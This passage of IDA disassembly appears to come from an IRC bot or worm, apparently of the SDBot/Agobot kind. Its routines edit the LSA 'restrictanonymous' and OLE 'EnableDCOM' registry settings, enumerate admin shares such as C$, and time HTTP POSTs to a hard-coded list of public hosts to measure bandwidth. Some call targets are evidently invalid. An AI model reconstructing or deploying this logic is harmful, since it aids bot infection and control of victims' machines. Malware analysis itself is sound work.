		jmp	short loc_41A464
; ---------------------------------------------------------------------------


loc_41A451:				; CODE XREF: sub_41A3C6+36j
		lea	eax, [ebp+var_214]
		push	offset dword_43A770
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A464:				; CODE XREF: sub_41A3C6+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A483
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A483:				; CODE XREF: sub_41A3C6+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A4F1
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A4D3
		push	offset dword_43A720
		jmp	short loc_41A4D8
; ---------------------------------------------------------------------------


loc_41A4D3:				; CODE XREF: sub_41A3C6+104j
		push	offset dword_43A6EC


loc_41A4D8:				; CODE XREF: sub_41A3C6+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A50B
; ---------------------------------------------------------------------------


loc_41A4F1:				; CODE XREF: sub_41A3C6+E2j
		push	offset dword_43A6B0
		jmp	short loc_41A4FD
; ---------------------------------------------------------------------------


loc_41A4F8:				; CODE XREF: sub_41A3C6+13j
		push	offset dword_43A680


loc_41A4FD:				; CODE XREF: sub_41A3C6+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A50B:				; CODE XREF: sub_41A3C6+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A52A
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A52A:				; CODE XREF: sub_41A3C6+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		cmp	dword_4CBACC, edi
		pop	ecx
		jnz	loc_41A6A5
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A54D:				; CODE XREF: sub_41A3C6+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CB918
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A5EA
		cmp	eax, 0EAh
		jz	short loc_41A5EA
		mov	esi, offset off_43A548


loc_41A57E:				; CODE XREF: sub_41A3C6+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_4191B8
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A595
		push	offset dword_43A65C
		jmp	short loc_41A59A
; ---------------------------------------------------------------------------


loc_41A595:				; CODE XREF: sub_41A3C6+1C6j
		push	offset dword_43A630


loc_41A59A:				; CODE XREF: sub_41A3C6+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A5CD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A5CD:				; CODE XREF: sub_41A3C6+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A568
		jb	short loc_41A57E
		jmp	loc_41A682
; ---------------------------------------------------------------------------


loc_41A5EA:				; CODE XREF: sub_41A3C6+1AAj
					; sub_41A3C6+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A679


loc_41A5F9:				; CODE XREF: sub_41A3C6+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41E0B7
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A66E
		push	edi
		call	sub_4190A5
		push	eax
		push	0
		call	sub_4191B8
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A628
		push	offset dword_43A60C
		jmp	short loc_41A62D
; ---------------------------------------------------------------------------


loc_41A628:				; CODE XREF: sub_41A3C6+259j
		push	offset dword_43A5E0


loc_41A62D:				; CODE XREF: sub_41A3C6+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A661
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A661:				; CODE XREF: sub_41A3C6+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx


loc_41A66E:				; CODE XREF: sub_41A3C6+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A5F9
		xor	edi, edi


loc_41A679:				; CODE XREF: sub_41A3C6+22Dj
		push	[ebp+var_8]
		call	dword_4CBA64


loc_41A682:				; CODE XREF: sub_41A3C6+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A54D
		lea	eax, [ebp+var_214]
		push	offset dword_43A5B8
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A6B8
; ---------------------------------------------------------------------------


loc_41A6A5:				; CODE XREF: sub_41A3C6+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43A588
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A6B8:				; CODE XREF: sub_41A3C6+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A6D6
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A6D6:				; CODE XREF: sub_41A3C6+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_41A3C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6EA	proc near		; CODE XREF: sub_41A366:loc_41A3ADp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CBAA4, ebx
		push	esi
		jnz	loc_41A818
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A775
		mov	ax, word_4392DC
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A757
		push	offset dword_43A938
		jmp	short loc_41A75C
; ---------------------------------------------------------------------------


loc_41A757:				; CODE XREF: sub_41A6EA+64j
		push	offset dword_43A91C


loc_41A75C:				; CODE XREF: sub_41A6EA+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A788
; ---------------------------------------------------------------------------


loc_41A775:				; CODE XREF: sub_41A6EA+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43A770
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A788:				; CODE XREF: sub_41A6EA+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A7A7
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A7A7:				; CODE XREF: sub_41A6EA+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A811
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A7F3
		push	offset dword_43A8DC
		jmp	short loc_41A7F8
; ---------------------------------------------------------------------------


loc_41A7F3:				; CODE XREF: sub_41A6EA+100j
		push	offset dword_43A8A4


loc_41A7F8:				; CODE XREF: sub_41A6EA+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A82B
; ---------------------------------------------------------------------------


loc_41A811:				; CODE XREF: sub_41A6EA+E2j
		push	offset dword_43A868
		jmp	short loc_41A81D
; ---------------------------------------------------------------------------


loc_41A818:				; CODE XREF: sub_41A6EA+13j
		push	offset dword_43A680


loc_41A81D:				; CODE XREF: sub_41A6EA+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A82B:				; CODE XREF: sub_41A6EA+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A84A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A84A:				; CODE XREF: sub_41A6EA+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		cmp	dword_4CBACC, ebx
		pop	ecx
		jnz	loc_41A9BF
		push	edi
		mov	esi, offset off_43A548
		mov	edi, 200h


loc_41A86E:				; CODE XREF: sub_41A6EA+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_41910C
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A889
		push	offset dword_43A848
		jmp	short loc_41A88E
; ---------------------------------------------------------------------------


loc_41A889:				; CODE XREF: sub_41A6EA+196j
		push	offset dword_43A820


loc_41A88E:				; CODE XREF: sub_41A6EA+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A8BD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A8BD:				; CODE XREF: sub_41A6EA+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A558
		jb	short loc_41A86E
		nop
		call	near ptr 2870759h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A9A7


loc_41A8E8:				; CODE XREF: sub_41A6EA+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A99C
		cmp	bl, 41h
		jz	loc_41A99C
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_1	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CBA34
		cmp	eax, 3
		jnz	short loc_41A99C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_41910C
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A95A
		push	offset dword_43A848
		jmp	short loc_41A95F
; ---------------------------------------------------------------------------


loc_41A95A:				; CODE XREF: sub_41A6EA+267j
		push	offset dword_43A820


loc_41A95F:				; CODE XREF: sub_41A6EA+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A98F
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A98F:				; CODE XREF: sub_41A6EA+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx


loc_41A99C:				; CODE XREF: sub_41A6EA+206j
					; sub_41A6EA+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A8E8


loc_41A9A7:				; CODE XREF: sub_41A6EA+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43A7F0
		push	eax
		call	sub_41C266
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A9D2
; ---------------------------------------------------------------------------


loc_41A9BF:				; CODE XREF: sub_41A6EA+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43A588
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A9D2:				; CODE XREF: sub_41A6EA+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A9F0
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A9F0:				; CODE XREF: sub_41A6EA+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA04	proc near		; CODE XREF: sub_41ABFB+CBp
					; sub_41ABFB+DDp ...

arg_0		= dword	ptr  4

		call	near ptr 26C0589h
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41AA04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA1E	proc near		; CODE XREF: sub_41ABFB+D4p
					; sub_41ABFB+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B9C0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41ABF7
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41BF70
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40A8F0
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41ABF7
		push	50h
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CBA54
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41ABF7
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_41ABF7
		push	32003h
		call	sub_41D9A5
		mov	edi, dword_4270B0
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41C2B8
		call	sub_41C2C2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41BF70
		push	32000h
		push	esi
		push	ebx
		call	sub_41BF70
		push	ebx
		call	sub_41B9C0
		push	323EAh
		mov	ebx, eax
		call	sub_41D9A5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41C266
		push	[ebp+var_8]
		push	esi
		call	sub_41C8A0
		push	offset asc_4349EC ; "\r\n"
		push	esi
		call	sub_41C8A0
		push	esi
		call	sub_41B9C0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41AB77
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41AB47
; ---------------------------------------------------------------------------


loc_41AB44:				; CODE XREF: sub_41AA1E+157j
		mov	eax, [ebp+arg_0]


loc_41AB47:				; CODE XREF: sub_41AA1E+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41AB57
		push	[ebp+var_C]
		jmp	short loc_41AB58
; ---------------------------------------------------------------------------


loc_41AB57:				; CODE XREF: sub_41AA1E+132j
		push	ebx


loc_41AB58:				; CODE XREF: sub_41AA1E+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABDE
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41AB44


loc_41AB77:				; CODE XREF: sub_41AA1E+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_4276F4
		fst	[ebp+arg_0]
		fcomp	flt_4276F0
		fnstsw	ax
		sahf
		jnz	short loc_41AB9F
		fld1
		fstp	[ebp+arg_0]


loc_41AB9F:				; CODE XREF: sub_41AA1E+17Aj
		push	[ebp+var_4]
		call	dword_4CBA6C
		push	[ebp+var_8]
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_4276EC
		fmul	flt_4276E8
		call	sub_41D174


loc_41ABD9:				; CODE XREF: sub_41AA1E+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41ABDE:				; CODE XREF: sub_41AA1E+149j
		push	[ebp+var_4]
		call	dword_4CBA6C
		push	[ebp+var_8]
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		pop	ecx
		pop	ecx


loc_41ABF7:				; CODE XREF: sub_41AA1E+19j
					; sub_41AA1E+42j ...
		xor	eax, eax
		jmp	short loc_41ABD9
sub_41AA1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ABFB	proc near		; CODE XREF: sub_401ACD+2E1Ep

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41AA04
		push	[ebp+eax*4+var_3C]
		call	sub_41AA1E
		push	8
		mov	esi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_3C]
		call	sub_41AA1E
		add	esp, 10h
		test	esi, esi
		jz	short loc_41ACFC
		test	eax, eax
		jz	short loc_41ACF8
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41ACFE
; ---------------------------------------------------------------------------


loc_41ACF8:				; CODE XREF: sub_41ABFB+F4j
		mov	ebx, esi
		jmp	short loc_41ACFE
; ---------------------------------------------------------------------------


loc_41ACFC:				; CODE XREF: sub_41ABFB+F0j
		mov	ebx, eax


loc_41ACFE:				; CODE XREF: sub_41ABFB+FBj
					; sub_41ABFB+FFj
		push	0Ch
		call	sub_41AA04
		push	[ebp+eax*4+var_6C]
		call	sub_41AA1E
		push	0Ch
		mov	edi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_6C]
		call	sub_41AA1E
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD36
		test	eax, eax
		jz	short loc_41AD32
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41AD38
; ---------------------------------------------------------------------------


loc_41AD32:				; CODE XREF: sub_41ABFB+12Ej
		mov	esi, edi
		jmp	short loc_41AD38
; ---------------------------------------------------------------------------


loc_41AD36:				; CODE XREF: sub_41ABFB+12Aj
		mov	esi, eax


loc_41AD38:				; CODE XREF: sub_41ABFB+135j
					; sub_41ABFB+139j
		push	6
		call	sub_41AA04
		push	[ebp+eax*4+var_1C]
		call	sub_41AA1E
		push	6
		mov	edi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_1C]
		call	sub_41AA1E
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD70
		test	eax, eax
		jz	short loc_41AD6C
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41AD72
; ---------------------------------------------------------------------------


loc_41AD6C:				; CODE XREF: sub_41ABFB+168j
		mov	ecx, edi
		jmp	short loc_41AD72
; ---------------------------------------------------------------------------


loc_41AD70:				; CODE XREF: sub_41ABFB+164j
		mov	ecx, eax


loc_41AD72:				; CODE XREF: sub_41ABFB+16Fj
					; sub_41ABFB+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41AD7F
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41AD82
; ---------------------------------------------------------------------------


loc_41AD7F:				; CODE XREF: sub_41ABFB+17Bj
		push	2
		pop	edi


loc_41AD82:				; CODE XREF: sub_41ABFB+182j
		test	esi, esi
		jz	short loc_41AD8A
		add	eax, esi
		jmp	short loc_41AD8B
; ---------------------------------------------------------------------------


loc_41AD8A:				; CODE XREF: sub_41ABFB+189j
		dec	edi


loc_41AD8B:				; CODE XREF: sub_41ABFB+18Dj
		test	ecx, ecx
		jz	short loc_41AD93
		add	eax, ecx
		jmp	short loc_41AD94
; ---------------------------------------------------------------------------


loc_41AD93:				; CODE XREF: sub_41ABFB+192j
		dec	edi


loc_41AD94:				; CODE XREF: sub_41ABFB+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A990
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ABFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ADD8	proc near		; CODE XREF: sub_401ACD+257Bp
					; sub_401ACD+29CDp ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 26C0589h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DBC90
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41C360
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41ADD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE41	proc near		; CODE XREF: sub_4172C1+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 2700552h
		test	eax, eax
		jz	short loc_41AED4
		cmp	[ebp+var_90], 4
		jnz	short loc_41AEAA
		cmp	[ebp+var_8C], esi
		jnz	short loc_41AE92
		cmp	[ebp+var_84], 1
		jnz	short loc_41AE85
		push	1
		pop	esi


loc_41AE85:				; CODE XREF: sub_41AE41+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41AED4
		push	1
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AE92:				; CODE XREF: sub_41AE41+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41AE9F


loc_41AE9B:				; CODE XREF: sub_41AE41+78j
		push	2
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AE9F:				; CODE XREF: sub_41AE41+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41AED4
		jmp	short loc_41AEC4
; ---------------------------------------------------------------------------


loc_41AEAA:				; CODE XREF: sub_41AE41+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41AED4
		cmp	[ebp+var_8C], esi
		jz	short loc_41AE9B
		cmp	[ebp+var_8C], 1
		jnz	short loc_41AEC8


loc_41AEC4:				; CODE XREF: sub_41AE41+67j
		push	3
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AEC8:				; CODE XREF: sub_41AE41+81j
		cmp	[ebp+var_8C], 2
